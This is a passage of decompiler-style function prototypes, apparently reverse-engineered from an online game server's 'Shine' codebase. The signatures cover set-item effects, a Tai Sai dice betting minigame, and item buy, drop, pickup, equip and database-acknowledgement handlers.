*__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall SetItemData::SetItemAbstateEffect::SetItemAbstateEffect(SetItemData::SetItemAbstateEffect *this); void __thiscall SetItemData::EffectDescription::ed_Store(SetItemData::EffectDescription *this, SetItemEffect *effect); void __thiscall SetItemData::SetItemEffectList::siel_Load(SetItemData::SetItemEffectList *this); void __thiscall SetItemData::SetItemClassifier::sic_Load(SetItemData::SetItemClassifier *this); void __thiscall SetItemData::SetItemClassifier::sic_SetItemDefine(SetItemData::SetItemClassifier *this, SetItemData::PlayerSetEffect *seteffect); void __thiscall SetItemData::SetItemEffectList::siel_AppendEffect(SetItemData::SetItemEffectList *this, unsigned __int16 effect, unsigned __int16 skillid); void __thiscall SetItemData::SkillEffect::se_Clear(SetItemData::SkillEffect *this); void __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_SetItemEffectStore(AbnormalStateContainer::AbstateElementInObject *this); void __thiscall SetItemData::SetItemAbstateEffect::siae_ParameterRefit(SetItemData::SetItemAbstateEffect *this, Parameter::Container *param); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); void __thiscall MemoryQueue::_MemoryQueue(MemoryQueue *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SetItemCheck(void *this); void __stdcall ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect(__int16 skillid); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_SetItemEffect(void *this, __int16 skillid); bool __thiscall ShineObjectClass::ShinePlayer::so_IsJoinThisGame(int this, int nGameType); int __thiscall ShineObjectClass::ShinePlayer::so_GetMiniGameInfo(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetMiniGameInfo(int this, int nGameType); char __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiGameLeaveInfo(int this, int pGameLeaveReserve); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiGameLeaveInfo(int this, char bGameLeaveReserve); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiRoomLeaveInfo(int this, int pRoomLeaveReserve); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiRoomLeaveInfo(int this, char bRoomLeaveReserve); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall ShineObjectClass::ShinePlayer::so_SetMiniGameRoomLeaveMapInfo(int this, const char *sMapName, int LocateXY); char __thiscall ShineObjectClass::ShinePlayer::so_GetMiniGameRoomLeaveMapInfo(int this, char *sMapName, int LocateXY); int __thiscall ShineObjectClass::ShinePlayer::so_GetDiceTaiSaiInfo(int this); char __thiscall ShineObjectClass::ShinePlayer::so_ClearDiceTaiSaiInfo(int this); char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiAllBettingCancelInfo(int this, int pTaiSaiBetting, int bIsLastBettingCancel); char __thiscall ShineObjectClass::ShinePlayer::so_SendExpectIncomeMoney(void *this, int pDBAck); char __thiscall ShineObjectClass::ShinePlayer::so_SendReceiptIncomeMoney(void *this, int pDBAck); char __thiscall ShineObjectClass::ShinePlayer::so_SetDiceTaiSaiAllBettingInfo(int this, int pTaiSaiBetting, int bIsFirstBetting); char __thiscall ShineObjectClass::ShinePlayer::so_SetCTDiceTaiSaiWin(int this, unsigned __int16 nWinCnt); char __thiscall ShineObjectClass::ShinePlayer::so_SetCTDiceTaiSaiSet(int this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_InitDiceInfo(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_InitActiveDiceInfo(ShineObjectClass::ShineMiniHouse *this, ItemInventoryCell *pInvenCell); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDice(ShineObjectClass::ShineMiniHouse *this, ItemInventoryCell *pDiceCell); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nDiceKey); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceFix(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiInfo *pDiceNum); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceProbability(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiInfo *pDiceNum, unsigned __int16 nDiceRate); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ClearDiceBettingInfo(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceHistory(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ClearGamerBettingInfo(ShineObjectClass::ShineMiniHouse *this); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadEnter(int a1); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendTaiSaiGameInfo(ShineObjectClass::ShineMiniHouse *this, #331 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SendTaiSaiBettingInfo(ShineObjectClass::ShineMiniHouse *this, #331 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanEnter(ShineObjectClass::ShineMiniHouse *this, #331 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_Enter(ShineObjectClass::ShineMiniHouse *this, #331 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadEnter(ShineObjectClass::ShineMiniHouse *this, #331 *sp); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_Out(int a1); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_Out(ShineObjectClass::ShineMiniHouse *this, #331 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadOut(#331 *this, #331 *, char); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadOut(ShineObjectClass::ShineMiniHouse *this, #331 *, char); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadModeChange(int a1); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_ModeChange(ShineObjectClass::ShineMiniHouse *this, #331 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadModeChange(ShineObjectClass::ShineMiniHouse *this, #331 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_ModeChangeLeave(ShineObjectClass::ShineMiniHouse *this, #331 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadModeChangeLeave(ShineObjectClass::ShineMiniHouse *this, #331 *sp); unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadSetTimer(#331 *this, #331 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadSetTimer(ShineObjectClass::ShineMiniHouse *this, DiceTaiSaiBetting *pTaiSaiBetting, DICE_TAISAI_BETTING_TYPE nBettingType); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanBetting(ShineObjectClass::ShineMiniHouse *this, #331 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_Betting(ShineObjectClass::ShineMiniHouse *this, #331 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadBetting(ShineObjectClass::ShineMiniHouse *this, #331 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadBettingCancel(#331 *this, #331 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanBettingCancel(ShineObjectClass::ShineMiniHouse *this, #331 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BettingCancel(ShineObjectClass::ShineMiniHouse *this, #331 *, DiceTaiSaiBetting *); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadBettingCancel(ShineObjectClass::ShineMiniHouse *this, #331 *, DiceTaiSaiBetting *); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_BroadEmotion_DiceRoll(int pDBAck); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanDiceRoll(ShineObjectClass::ShineMiniHouse *this, #331 *sp); signed __int16 __cdecl ShineObjectClass::ShineObject::so_mh_DiceTaiSai_CanAutoDiceRoll(); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_CanAutoDiceRoll(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_DiceRoll(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadDiceRoll(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_MoneyResult_DiceRoll(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK *pDBAck); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadResult_DiceRoll(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadEmotion_DiceRoll(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK *pDBAck); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_PrepareNextGame(ShineObjectClass::ShineMiniHouse *this); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_GetReceiptIncomeMoney(__int16 nInvenSlot); signed __int16 __stdcall ShineObjectClass::ShineObject::so_mh_DiceTaiSai_GetRank(int pDBAck); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_SendRank(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_RANK_ACK *pDBAck); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadLargeAmount(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_BroadGameFold(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_GetTaiSaiGamerCnt(ShineObjectClass::ShineMiniHouse *this); int __cdecl ShineObjectClass::ShineMiniHouse::so_mh_RankSortCompare(const void *a, const void *b); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsCreateDice(ShineObjectClass::ShineMiniHouse *this, char bIsCreateDice, SHINE_ITEM_REGISTNUMBER nCreateDiceKey); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsCreateDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nCreateDiceKey); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsDeleteDice(ShineObjectClass::ShineMiniHouse *this, char bIsDeleteDice, SHINE_ITEM_REGISTNUMBER nDeleteDiceKey); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsDeleteDice(ShineObjectClass::ShineMiniHouse *this, SHINE_ITEM_REGISTNUMBER nDeleteDiceKey); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsBlowGame(ShineObjectClass::ShineMiniHouse *this, char bIsBlowGame); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsBlowGame(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetIsLeaveOwner(ShineObjectClass::ShineMiniHouse *this, char bIsLeaveOwner); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsLeaveOwner(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ExcuteLeaveRoom(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ExcuteLeaveGame(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_IsActiveDiceTaiSai(ShineObjectClass::ShineMiniHouse *this); DICE_TAISAI_GAME_STATUS __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetGameStatus(ShineObjectClass::ShineMiniHouse *this); DICE_TAISAI_GAME_MODE __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetGameMode(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_SetDiceRewardMoney(ShineObjectClass::ShineMiniHouse *this, PROTO_NC_DICE_TAISAI_DB_ITEM_ID_CHANGE_ACK *pDBAck); char __thiscall ChargedItemEffectDataBox::cideb_Next(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger); CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetIndex(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger); int __thiscall ShineObjectClass::ShinePlayer::sp_DiceTaiSaiItemIDChange(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __stdcall ShineObjectClass::ShinePlayer::sp_NC_DICE_TAISAI_LARGE_AMOUNT_REQ(int netcmd, int len, __int16 handle); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_Result_DiceRoll(ShineObjectClass::ShineMiniHouse *this); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_ResultLog_DiceRoll(ShineObjectClass::ShineMiniHouse *this, int nGameNo); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetExpectIncomeMoney(ShineObjectClass::ShineMiniHouse *this, ITEM_INVEN nInvenSlot); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetReceiptIncomeMoney(ShineObjectClass::ShineMiniHouse *this, ITEM_INVEN nInvenSlot); unsigned __int16 __thiscall ShineObjectClass::ShineMiniHouse::so_mh_DiceTaiSai_GetRank(ShineObjectClass::ShineMiniHouse *this, #331 *sp); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_RankSort(ShineObjectClass::ShineMiniHouse *this); char __thiscall ShineObjectClass::ShineMiniHouse::so_mh_ExcuteBlowGame(ShineObjectClass::ShineMiniHouse *this); void __thiscall GameDBSession::gds_NC_DICE_TAISAI_DB_DICE_ROLL_RESULT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_DICE_TAISAI_DB_EXPECT_INCOME_MONEY_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_DICE_TAISAI_DB_RECEIPT_INCOME_MONEY_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_DICE_TAISAI_DB_RANK_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_DICE_TAISAI_DB_ITEM_ID_CHANGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); char __thiscall ShineObjectClass::ShinePlayer::so_DiceTaiSaiChargedItemLimitCheck(void *this, int pItemBag, int nInvenType, char bIsDelActiveFurniture, int nGameStatus); void __thiscall Parameter::Container::c_Storepure(Parameter::Container *this, CharClass *cc, #331 *obj); int __thiscall ShineObjectClass::ShinePlayer::sp_CalcTotalStat(void *this); void __stdcall ShineObjectClass::ShineObject::so_NC_ITEMDB_fail(int department, int command, __int16 errcode); unsigned __int16 __cdecl WeaponCostumInitCharge(unsigned __int16 itmid); bool __thiscall ShineObjectClass::ShinePlayer::smo_ply_IsCostumCharged(int this); void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_fail(void *this, int department, int command, unsigned __int16 errcode); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCen(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeFame(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SaveFame(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCell(void *this, int location, int cell, int exchange); void __thiscall ShineObjectClass::ShinePlayer::sp_StatEmpowInitialize(void *this, __int16 command, int errcommand, int slot, int itm); void __thiscall GameDBSession::gds_NC_CHARGED_STAT_INITIALIZE_DB_SUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARGED_SKILLEMPOW_INITIALIZE_DB_SUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARGED_STAT_INITIALIZE_DB_FAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARGED_SKILLEMPOW_INITIALIZE_DB_FAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_InitFreeStat(void *obj); void __thiscall ShineObjectClass::ShinePlayer::so_ply_InitSkillEmpow(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SkillEmpowerSetResult(void *this, __int16 err, __int16 skill); void __thiscall GameDBSession::gds_NC_CHAR_GET_ITEMLIST_BY_TYPE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Script_CostumeCreate(void *this, unsigned __int16 equippart, int itemid, char *op); char __thiscall ShineObjectClass::ShinePlayer::so_ply_Script_CostumeTakeOff(void *this, unsigned __int16 equippart, __int16 itemid); void __thiscall ShineObjectClass::ShinePlayer::sp_NoticeItemBreak(void *this, __int16 inventype, __int16 invenslot); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_ITEMDB_MYSTERY_VAULT_MAKEITEM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_WEAPONENDURE_CHARGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __stdcall ShineObjectClass::ShineObject::so_ply_WeaponEndureChangeAck(int ack); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponEndureChangeAck(void *this, int ack); void __thiscall ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToClient(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_CostumWeaponChargeDecrease_ToDB(void *this); void __stdcall ShineObjectClass::ShineObject::so_ply_InvenWrite(int msg); void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenWrite(void *ecx0, int msg); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_CONNECTION_CHANGE_CHAR_ID_ITEM_USE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_USER_CONNECTION_DB_CHANGE_CHAR_ID_ITEM_USE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __stdcall ShineObjectClass::ShineObject::so_ply_ChangeCharIDUseAck(int pAck); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeCharIDUseAck(void *this, int pAck); ItemAttributeClass *__thiscall ItemSmallBag::isb_Store(ItemSmallBag *this, int slot, ItemTotalInformation *iti); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_CostumWeaponChargeDecrease(void *this, char send, int pAttackRule); void __thiscall ShineObjectClass::ShinePlayer::so_ply_StoreItem(void *this, int inv, int iti, int exchange); void __thiscall ItemInventory::ii_BuyAll(ItemInventory *this, #440 *, unsigned __int16, PROTO_NC_ITEM_BUY_REQ *, unsigned int, unsigned int); void __thiscall ItemInventory::ii_BuyLot(ItemInventory *this, #440 *, unsigned __int16, ItemInventoryCell *, unsigned int, int, unsigned int, unsigned int); void __thiscall ItemGuildStorage::igs_BuyAll(ItemGuildStorage *this, #440 *, unsigned __int16, PROTO_NC_ITEM_BUY_REQ *, unsigned int); void __thiscall ItemGuildStorage::igs_BuyLot(ItemGuildStorage *this, #440 *, unsigned __int16, ItemInventoryCell *, unsigned int, int, unsigned int); void __thiscall GameDBSession::gds_NC_ITEMDB_BUYALLSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_BUYLOTSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_BUYFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_TOKEN_BUYALLSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_TOKEN_BUYLOTSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __stdcall ShineObjectClass::ShineObject::so_NC_ITEMDB_ADMINCREATEFAIL_ACK(int itemcreatefail); void __thiscall ShineObjectClass::ShinePlayer::sp_CreateItemByAdmin(void *this, int box, int slot, int iti, int iic); void __thiscall ShineObjectClass::ShinePlayer::so_NC_ITEMDB_ADMINCREATEFAIL_ACK(void *this, int itemcreatefail); void __thiscall GameDBSession::gds_NC_ITEMDB_ADMINCREATESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_ADMINCREATEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); // weak char __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(void *this, int Handle, __int16 ItemID, __int16 inv, int InvenType); int __thiscall ShineObjectClass::ShinePlayer::sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall GameDBSession::gds_NC_ITEMDB_DESTROY_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_QUESTREWARD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_GetItemInvenLot(void *this, __int16 itemid); int __thiscall ShineObjectClass::ShinePlayer::sp_QuestItemGet(_DWORD, _DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_MakeItem(void *this, __int16 handle, int iti); void __thiscall ShineObjectClass::ShinePlayer::sp_MakeItem(void *this, __int16 handle, int method, unsigned __int16 itm, unsigned int lot); void __thiscall ItemDismantleProducer::ItemDismantleProducer(#440 *, unsigned __int16, unsigned int, ItemBag *, char); void __cdecl ItemDismantleProducer::_ItemDismantleProducer(); signed __int16 __thiscall ItemDismantleProducer::idp_WhereDismantleProductStore(void *ecx0, char a2, int a3, char a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15, int a16, int a17, int a18, int a19, int a20, int a21, int a22, int a23, int a24, int a25, int a26, int a27, int a28, int a29, int a30, char a31); unsigned __int16 __thiscall ItemDismantleProducer::idp_DismantleProductExecute(#440 *, NETCOMMAND *, PROTO_NC_ITEMDB_DISMANTLE_REQ *); void __thiscall GameDBSession::gds_NC_ITEMDB_DISMANTLE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall BriefInformationDropItem::bidi_InitBriefInfo(BriefInformationDropItem *this, unsigned __int16 handle, unsigned __int16 itemid, SHINE_XY_TYPE *loc, int rareness, unsigned __int16 dropmob); char __thiscall ItemDataBox::idb_NoDropItem(ItemDataBox *this, unsigned __int16 item, char *invaliditem); char __stdcall ShineObjectClass::ShineObject::so_drpitm_CanLooting(int a1); void __thiscall ItemInventory::ii_DropAll(ItemInventory *this, #440 *, unsigned __int16, PROTO_NC_ITEM_DROP_REQ *, ItemInventoryCell *); void __thiscall ItemInventory::ii_DropLot(ItemInventory *this, #440 *, unsigned __int16, PROTO_NC_ITEM_DROP_REQ *, ItemInventoryCell *); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ(void *this, int netcmd, char invaliditem, __int16 handle); void __thiscall ShineObjectClass::ShineDropItem::so_drpitm_CanLootingBitSet(ShineObjectClass::ShineDropItem *this, #331 *obj); char __thiscall ShineObjectClass::ShineDropItem::so_drpitm_CanLooting(ShineObjectClass::ShineDropItem *this, #331 *looter); signed __int16 __stdcall ShineObjectClass::ShineObject::so_ItemDrop(__int16 handle, int a2, int item, int type, char looter_isparty, int looter_handle); unsigned __int16 __thiscall ShineObjectClass::ShineDropItem::so_ItemDrop(ShineObjectClass::ShineDropItem *this, unsigned __int16 handle, #331 *dropper, ItemTotalInformation *item, unsigned int type, char looter_isparty, unsigned int looter_handle); void __thiscall GameDBSession::gds_NC_ITEMDB_DROPALLSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_DROPALLLOT_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_DROPALLFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_DROPLOTFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::sp_ItemDropOK(_DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::so_EquitEnd(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_BackupParameter(int this, void *last); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ(int a1, int a2, int netcmd, int len, __int16 handle, __int16 a6); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ(int a1, int a2, int netcmd, int equcell, int handle, __int16 a6); void __thiscall GameDBSession::gds_NC_ITEMDB_EQUIPSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_EQUIPFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall TreasureChestLocationManager::TreasureChestLocationManager(TreasureChestLocationManager *this); void __thiscall TreasureChestLocationManager::_TreasureChestLocationManager(CharacterPassiveList *this); void __thiscall List::_List(List *this); char __thiscall List::l_PushZ(List *this, ItemOperateElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, ItemOperateElement *ele); char __thiscall List::l_PopZ(List *this, ItemOperateElement *ele); char __thiscall ListEraser::lid_Call(ListEraser *this, ORTable *ele, unsigned __int16 handle); void __thiscall ItemOperateList::_ItemOperateList(int this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_PointStone(void *this, int lc); void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_QuestReward(void *this, int lc); void __thiscall ShineObjectClass::ShinePlayer::sp_KQReward(void *this, int rewardstr); void __thiscall GameDBSession::gds_NC_ITEMDB_CREATEITEMLISTSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_CREATEITEMLISTFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_KQ_REWARDSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_KQ_REWARDFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall List::l_Clear(List *this); char __thiscall List::l_PushA(List *this, ItemOperateElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQRewardStruct(void *this, int kqe); void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQRewardIndex(void *this, char *idx); int __thiscall ItemOperateList::ItemOperateList(int this); char __thiscall ItemInventory::ii_PickAll(ItemInventory *this, #440 *, #331 *, unsigned __int16, ItemTotalInformation *, int); char __thiscall ItemInventory::ii_PickMerge(ItemInventory *this, #440 *, #331 *, unsigned __int16, ItemInventoryCell *, unsigned int, int, int); void __thiscall ShineObjectClass::ShinePlayer::sp_partyitemdistribute(#331 *, ItemTotalInformation *, unsigned __int16); char __thiscall ShineObjectClass::ShinePlayer::so_ply_PickupItem(#331 *, ItemTotalInformation *, unsigned __int16); void __thiscall ShineObjectClass::ShinePlayer::so_ply_PickupMoney(void *this, unsigned int money); void __thiscall ShineObjectClass::ShinePlayer::so_ply_IncDecMoney(void *this, unsigned int money, char Positive); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKALLSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_PICKALLFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall 